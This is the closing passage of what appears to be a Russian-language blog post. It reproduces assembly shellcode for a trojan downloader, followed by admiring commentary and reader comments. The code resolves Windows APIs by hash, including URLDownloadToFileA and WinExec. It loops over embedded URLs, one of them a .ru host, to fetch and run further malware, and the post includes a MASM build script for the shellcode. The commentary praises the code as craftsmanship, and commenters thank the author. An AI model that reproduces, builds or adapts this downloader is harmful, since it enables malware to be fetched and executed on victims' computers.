cmp byte ptr [edi], 0 ; Сканируем URL на конец строячки
jnz short skipCurrentURL
inc edi ; Дошли до конца строки URL
cmp byte ptr [edi], 0 ; Есть еще линк для загрузки ?
jnz short NextURL
push 0
push 0FFFFFFFEh
call dword ptr [esi+8] ; TerminateThread
bjmp5:
call begwork
; ---------------------------------------------------------------------------
; ████████████████████████████████████████████████████
; █ H A S H S █
; ████████████████████████████████████████████████████
hashtable dd 0EC0E4E8Eh ; LoadLibraryA
dd 0E8AFE98h ; WinExec
dd 0BD016F89h ; TerminateThread
dd 5B8ACA33h ; GetTempPathA
dd 7946C61Bh ; VirtualProtect
dd 702F1A36h ; URLDownloadToFileA
url db 'http://rf3c73.ru/c.php?f=e5334&e=1',0
db 0
db 0
codee:
end shellcode
:make
set sc=sc
d:\masm32\bin\ml /nologo /c /coff %sc%.bat
d:\masm32\bin\link /align:16 /nologo /entry:shellcode /out:%sc%.exe /section:.text,RWE /subsystem:console %sc%.obj
del %sc%.obj
echo.
pause
Довольно интересный код, лишний раз доказывает, что кодинг на asm'е вообще и кодинг шелкодов в частности , это высший пилотаж. Данный же шелкод пожалуй интересен еще тем, что несет в себе функционал загрузчика, т.е может загрузить и запустить несколько других малвар, эдакий ShellcodeTrojanDownloader.
отличный пост
ОтветитьУдалитьспс
Всегда пожалста =) Спсасибо за интерес к теме =)
ОтветитьУдалить